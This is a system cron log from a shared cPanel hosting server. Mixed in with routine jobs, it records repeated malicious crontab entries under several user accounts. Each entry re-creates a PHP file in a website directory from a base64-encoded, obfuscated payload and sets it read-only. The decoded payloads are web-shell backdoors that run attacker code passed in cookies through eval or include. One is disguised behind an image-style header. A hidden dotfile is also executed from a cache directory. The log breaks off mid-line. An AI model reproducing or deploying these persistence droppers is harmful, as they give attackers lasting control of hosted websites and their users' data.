Mar  1 13:50:02 medusa CROND[20344]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:50:02 medusa CROND[20337]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:50:02 medusa CROND[20348]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:50:02 medusa CROND[20345]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:50:02 medusa CROND[20349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 13:50:02 medusa CROND[20346]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 13:50:02 medusa CROND[20341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:50:02 medusa CROND[20359]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:50:02 medusa CROND[20351]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 13:50:02 medusa CROND[20355]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:50:02 medusa CROND[20370]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:50:02 medusa CROND[20368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:50:02 medusa CROND[20369]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 13:50:02 medusa CROND[20375]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:50:02 medusa CROND[20378]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:50:02 medusa CROND[20350]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 13:50:02 medusa CROND[20381]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:50:02 medusa CROND[20383]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:50:02 medusa CROND[20372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:50:02 medusa CROND[20352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:50:02 medusa CROND[20393]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:51:01 medusa CROND[11559]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:51:01 medusa CROND[11729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:51:01 medusa CROND[11731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:51:01 medusa CROND[11732]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:51:01 medusa CROND[11733]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:51:01 medusa CROND[11734]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:51:01 medusa CROND[11736]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:51:01 medusa CROND[11737]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:51:01 medusa CROND[11738]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:51:01 medusa CROND[11739]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:51:01 medusa CROND[11751]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:51:01 medusa CROND[11753]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:51:01 medusa CROND[11761]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:51:01 medusa CROND[11762]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:51:01 medusa CROND[11766]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:52:02 medusa CROND[4603]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:52:02 medusa CROND[4654]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:52:02 medusa CROND[4655]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1